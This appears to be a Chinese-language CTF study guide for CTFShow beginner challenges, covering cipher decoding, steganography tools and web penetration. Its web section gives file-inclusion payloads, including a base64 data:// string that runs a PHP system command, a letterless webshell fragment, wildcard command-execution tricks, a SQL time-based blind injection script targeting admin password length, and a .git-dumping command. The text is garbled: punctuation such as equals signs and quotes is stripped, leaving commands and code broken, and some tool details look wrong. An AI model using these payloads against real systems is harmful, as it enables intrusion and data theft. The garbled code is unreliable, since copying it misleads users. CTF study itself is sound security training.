CTFShow 萌新区 47 题 WP 精讲:从密码学、隐写到 Web 渗透的 5 大核心技巧
CTFShow 萌新区 47 题核心技巧精讲密码学、隐写与Web渗透实战指南1. 密码学解题的三大黄金法则在CTF竞赛中密码学题目往往考察选手对编码转换、古典密码和现代加密的理解能力。以下是经过实战验证的三大核心技巧1.1 编码识别三板斧特征识别Base64以结尾Hex全为0-9/a-f摩尔斯码仅含.-/培根密码呈现AB组合工具链配置# 多编码自动识别脚本示例 import base64 from Crypto.Util import asn1 def auto_decode(data): try: return base64.b64decode(data).decode() except: try: return bytes.fromhex(data).decode() except: return 需进一步分析组合攻击常见编码套娃模式Hex→Base64→Rot131.2 古典密码破解矩阵密码类型识别特征推荐工具实战技巧凯撒字母位移固定CyberChef观察高频字母分布维吉尼亚重复密钥字Vigenère Solver结合Kasiski测试确定密钥长度栅栏字母间隔规律Rail-fence Cipher尝试不同栏数组合培根5位AB组合Bacon Cipher注意两种编码表差异1.3 现代密码分析要点AES/ECB模式相同明文块产生相同密文RSA基础攻击# 当e3且明文较小时 python -c print(round(密文**(1/3)))哈希扩展攻击利用已知hash值构造新hash实战案例某题给出4A4F7D6E8B5?1?1?10C7F格式hash使用hashcat爆破hashcat -a 3 -m 16500 hash.txt --custom-charset1?l?d2. 隐写术的六维分析法2.1 文件结构深度检测PNG文件修复# 修复损坏的文件头 printf \x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR fixed.png dd ifbroken.png bs1 skip8 fixed.pngZIP伪加密修改504B0102后的加密标志位为002.2 元数据挖掘技巧Exif工具链exiftool image.jpg | grep -i comment binwalk -e suspicious.pdfFFmpeg音频分析ffmpeg -i audio.wav -filter_complex showspectrum out.png2.3 二进制隐写三板斧字符串提取strings -n 8 file | grep -i flag文件差异对比cmp -l original.png modified.png | awk {printf %08X %02X %02X\n, $1, $2, $3}LSB隐写提取from PIL import Image img Image.open(stego.png) pixels img.load() binary .join([str(pixels[x,y][0] 1) for y in range(img.height) for x in range(img.width)])3. Web渗透的七种武器3.1 注入绕过艺术过滤项绕过方案适用场景空格/**/、%09、%a0SQL/命令注入关键词大小写混写、内联注释/*!select*/WAF规则绕过引号Hex编码、CHAR()函数盲注场景数字限制科学计数法、运算符拼接intval()绕过3.2 文件包含的N种姿势?filephp://filter/convert.base64-encode/resourceindex.php ?filecompress.zlib://flag.php ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg3.3 命令执行花式突破字符限制突破# 4字符限制下的RCE echo ${PATH:0:1} # 输出/ /???/??t /??????无字母数字webshell?$_[];$_$_;$_$_[!];$___$_;$__$_;$__;$__;...4. 实战工具速查手册4.1 密码学工具链工具名称安装命令典型用法CyberChef浏览器访问自动识别编码Johnapt install johnjohn --formatRaw-MD5 hashRsaCtfToolgit clone...python RsaCtfTool.py -n ...4.2 隐写分析工具包# 安装JPHS(JPEG隐写分析) wget https://www.nic.funet.fi/pub/crypt/steganography/jphs-0.11.tar.gz tar zxvf jphs-0.11.tar.gz cd jphs make # 使用示例 ./jphs -extract stego.jpg output.txt4.3 Web渗透常用Payload# SQL时间盲注检测 import requests import time url http://example.com/?id1 for i in range(1,20): payload f AND (SELECT SLEEP(2) FROM users WHERE usernameadmin AND LENGTH(password){i})-- start time.time() requests.get(urlpayload) if time.time() - start 1.5: print(fPassword length: {i}) break5. 高阶技巧与思维训练5.1 非常规文件分析PDF隐写使用pdf-parser分析对象流WAV频谱分析Audacity查看声谱图Git泄露利用wget -r --no-parent http://example.com/.git/ git checkout -- .5.2 自动化脚本开发# 多步骤自动化解题脚本示例 import subprocess from hashlib import md5 def solve_challenge(file): # 步骤1检测文件类型 filetype subprocess.check_output([file, file]).decode() if PNG in filetype: # 步骤2检查IHDR块 with open(file, rb) as f: data f.read(24) width int.from_bytes(data[16:20], big) height int.from_bytes(data[20:24], big) print(f图像尺寸: {width}x{height}) # 步骤3提取LSB隐写 # ...接后续处理代码在多次实战中发现CTF竞赛中约70%的题目存在非预期解。建议养成以下思维习惯任何显示内容都是可疑的包括错误信息文件格式规范比工具解析更重要开发环境配置往往泄露关键线索题目名称和描述可能包含提示最后记住真正的CTF高手不是工具的使用者而是能创造新攻击路径的开拓者。保持对技术的敏感度建立自己的解题方法论才能在赛场上立于不败之地